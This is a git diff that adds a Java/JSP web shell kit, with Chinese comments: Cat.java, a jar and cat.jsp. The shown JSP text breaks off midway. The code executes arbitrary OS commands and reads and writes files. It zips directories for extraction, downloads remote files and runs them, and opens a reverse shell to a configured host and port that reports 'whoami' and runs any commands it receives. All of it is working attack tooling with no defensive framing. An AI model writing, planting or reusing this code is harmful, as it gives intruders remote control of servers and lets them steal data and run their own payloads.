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diff --git a/jsp/cat/Cat.java b/jsp/cat/Cat.java
new file mode 100644
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--- /dev/null
+++ b/jsp/cat/Cat.java
@@ -0,0 +1,189 @@
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.reflect.Method;
+import java.net.MalformedURLException;
+import java.net.Socket;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.Properties;
+import java.util.regex.Pattern;
+
+public class Cat {
+
+ static String encoding = "UTF-8";
+
+ static{
+ encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
+ }
+
+ /**
+ * 获取配置文件
+ * @return
+ * @throws IOException
+ */
+ public static Properties getProperties() throws IOException {
+ Properties p = new Properties();
+ p.load(Cat.class.getClass().getResourceAsStream("/config.properties"));
+ return p;
+ }
+
+ /**
+ * 异常转换成字符串，获取详细异常信息
+ * @param e
+ * @return
+ */
+ public static String exceptionToString(Exception e) {
+ StringWriter sw = new StringWriter();
+ e.printStackTrace(new PrintWriter(sw, true));
+ return sw.toString();
+ }
+
+ /**
+ * 获取系统文件编码
+ * @return
+ */
+ public static String getSystemEncoding(){
+ return System.getProperty("sun.jnu.encoding");
+ }
+
+ /**
+ * 非空判断
+ *
+ * @param obj
+ * @return
+ */
+ public static boolean isNotEmpty(Object obj) {
+ if (obj == null) {
+ return false;
+ }
+ return !"".equals(String.valueOf(obj).trim());
+ }
+
+ /**
+ * 输入流转二进制数组输出流
+ * @param in
+ * @return
+ * @throws IOException
+ */
+ public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ byte[] b = new byte[1024];
+ int a = 0;
+ while((a = in.read(b))!=-1){
+ baos.write(b,0,a);
+ }
+ return baos;
+ }
+
+ /**
+ * 复制流到文件，如果文件存在默认会覆盖
+ * @param in
+ * @param path
+ * @throws IOException
+ */
+ public static void copyInputStreamToFile(InputStream in,String path) throws IOException{
+ FileOutputStream fos = new FileOutputStream(path);
+ fos.write(inutStreamToOutputStream(in).toByteArray());
+ fos.flush();
+ fos.close();
+ }
+
+ /**
+ * 模仿Linux下的cat Windows下的type 查看文件内容
+ * @param path
+ * @return
+ * @throws IOException
+ */
+ public static String cat(String path) throws IOException {
+ return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
+ }
+
+ /**
+ * 执行操作系统命令 如果是windows某些命令执行不了，可以用 cmd /c dir 执行dir命令
+ * @param cmd
+ * @return
+ */
+ public static String exec(String cmd) {
+ try {
+ return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
+ } catch (IOException e) {
+ return exceptionToString(e);
+ }
+ }
+
+ /**
+ * 下载文件到指定目录,保存的文件名必须指定
+ * @param url
+ * @param path
+ * @throws MalformedURLException
+ * @throws IOException
+ */
+ public static void download(String url,String path) throws MalformedURLException, IOException{
+ copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
+ }
+
+ /**
+ * 连接远程端口，提供本地命令执行入口
+ * @param host
+ * @param port
+ * @throws UnknownHostException
+ * @throws IOException
+ */
+ public static void shell(String host,int port) throws UnknownHostException, IOException{
+ Socket s = new Socket(host,port);
+ OutputStream out = s.getOutputStream();
+ InputStream in = s.getInputStream();
+ out.write(("User:\t"+exec("whoami")).getBytes());
+ int a = 0;
+ byte[] b = new byte[4096];
+ while((a=in.read(b))!=-1){
+ out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
+ }
+ }
+
+ /**
+ * 下载远程文件并执行，命令执行完成后会删除下载的文件
+ * @param url
+ * @param fileName
+ * @param cmd
+ * @return
+ * @throws MalformedURLException
+ * @throws IOException
+ */
+ public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
+ String tmpDir = System.getProperty("java.io.tmpdir");
+ File tmpFile = new File(tmpDir,fileName);
+ download(url, tmpFile.toString());
+ String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator));
+ tmpFile.delete();
+ return out;
+ }
+
+ public static Method getMethod(String method){
+ Method[] methods = Cat.class.getDeclaredMethods();
+ for (int i = 0; i < methods.length; i++) {
+ Method m = methods[i];
+ if(method.equals(m.getName())){
+ return m;
+ }
+ }
+ return null;
+ }
+
+ public static void main(String[] args) {
+ try {
+ Properties p = getProperties();
+ shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port")));
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+}
diff --git a/jsp/cat/cat.jar b/jsp/cat/cat.jar
new file mode 100644
index 0000000..ad26b23
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diff --git a/jsp/cat/cat.jsp b/jsp/cat/cat.jsp
new file mode 100644
index 0000000..20a3d3d
--- /dev/null
+++ b/jsp/cat/cat.jsp
@@ -0,0 +1,282 @@
+<%@page import="java.util.zip.ZipEntry"%>
+<%@page import="java.util.zip.ZipOutputStream"%>
+<%@ page language="java" pageEncoding="UTF-8"%>
+<%@page import="java.util.*"%>
+<%@page import="java.text.SimpleDateFormat"%>
+<%@ page import="java.io.*" %>
+<%@ page import="java.net.*" %>
+<%!
+ static String encoding = "UTF-8";
+
+ static{
+ encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
+ }
+
+ /**
+ * 异常转换成字符串，获取详细异常信息
+ * @param e
+ * @return
+ */
+ static String exceptionToString(Exception e) {
+ StringWriter sw = new StringWriter();
+ e.printStackTrace(new PrintWriter(sw, true));
+ return sw.toString();
+ }
+
+ /**
+ * 获取系统文件编码
+ * @return
+ */
+ static String getSystemEncoding(){
+ return System.getProperty("sun.jnu.encoding");
+ }
+
+ /**
+ * 非空判断
+ *
+ * @param obj
+ * @return
+ */
+ static boolean isNotEmpty(Object obj) {
+ if (obj == null) {
+ return false;
+ }
+ return !"".equals(String.valueOf(obj).trim());
+ }
+
+ /**
+ * 输入流转二进制数组输出流
+ * @param in
+ * @return
+ * @throws IOException
+ */
+ static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ byte[] b = new byte[1024];
+ int a = 0;
+ while((a = in.read(b))!=-1){
+ baos.write(b,0,a);
+ }
+ return baos;
+ }
+
+ /**
+ * 复制流到文件，如果文件存在默认会覆盖
+ * @param in
+ * @param path
+ * @throws IOException
+ */
+ static void copyInputStreamToFile(InputStream in,String path) throws IOException{
+ FileOutputStream fos = new FileOutputStream(path);
+ fos.write(inutStreamToOutputStream(in).toByteArray());
+ fos.flush();
+ fos.close();
+ }
+
+ /**
+ * 模仿Linux下的cat Windows下的type 查看文件内容
+ * @param path
+ * @return
+ * @throws IOException
+ */
+ static String cat(String path) throws IOException {
+ return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
+ }
+
+ /**
+ * 执行操作系统命令 如果是windows某些命令执行不了，可以用 cmd /c dir 执行dir命令
+ * @param cmd
+ * @return
+ */
+ static String exec(String cmd) {
+ try {
+ return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
+ } catch (IOException e) {
+ return exceptionToString(e);
+ }
+ }
+
+ /**
+ * 下载文件到指定目录,保存的文件名必须指定
+ * @param url
+ * @param path
+ * @throws MalformedURLException
+ * @throws IOException
+ */
+ static void download(String url,String path) throws MalformedURLException, IOException{
+ copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
+ }
+
+ /**
+ * 连接远程端口，提供本地命令执行入口
+ * @param host
+ * @param port
+ * @throws UnknownHostException
+ * @throws IOException
+ */
+ static void shell(String host,int port) throws UnknownHostException, IOException{
+ Socket s = new Socket(host,port);
+ OutputStream out = s.getOutputStream();
+ InputStream in = s.getInputStream();
+ out.write(("User:\t"+exec("whoami")).getBytes());
+ int a = 0;
+ byte[] b = new byte[1024];
+ while((a=in.read(b))!=-1){
+ out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
+ }
+ }
+
+ /**
+ * 下载远程文件并执行，命令执行完成后会删除下载的文件
+ * @param url
+ * @param fileName
+ * @param cmd
+ * @return
+ * @throws MalformedURLException
+ * @throws IOException
+ */
+ static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
+ download(url, fileName);
+ String out = exec(cmd);
+ new File(fileName).delete();
+ return out;
+ }
+
+ static void saveFile(String file,String data) throws IOException{
+ copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file);
+ }
+
+ /**
+ * 文件压缩
+ * @throws IOException
+ */
+ static void zipFile(ZipOutputStream zos,File file) throws IOException{
+ if(file.isDirectory() && file.canRead()){
+ File[] files = file.listFiles();
+ for(File f:files){
+ zipFile(zos, f);
+ }
+ }else{
+ ZipEntry z = new ZipEntry(file.getName());
+ zos.putNextEntry(z);
+ zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray());
+ zos.closeEntry();
+ }
+ }
+
+ static void zip(ByteArrayOutputStream out,File file) throws IOException{
+ ZipOutputStream zos = new ZipOutputStream(out);
+ zipFile(zos,file);
+ }
+
+%>
+
+
+<%=application.getServerInfo() %>
+
+
+
+
+
+<%
+ try{
+ String action = request.getParameter("action");
+ String path = isNotEmpty(request.getParameter("p"))?request.getParameter("p"):new File((isNotEmpty(application.getRealPath("/"))?application.getRealPath("/"):".")).getCanonicalPath();
+ out.println("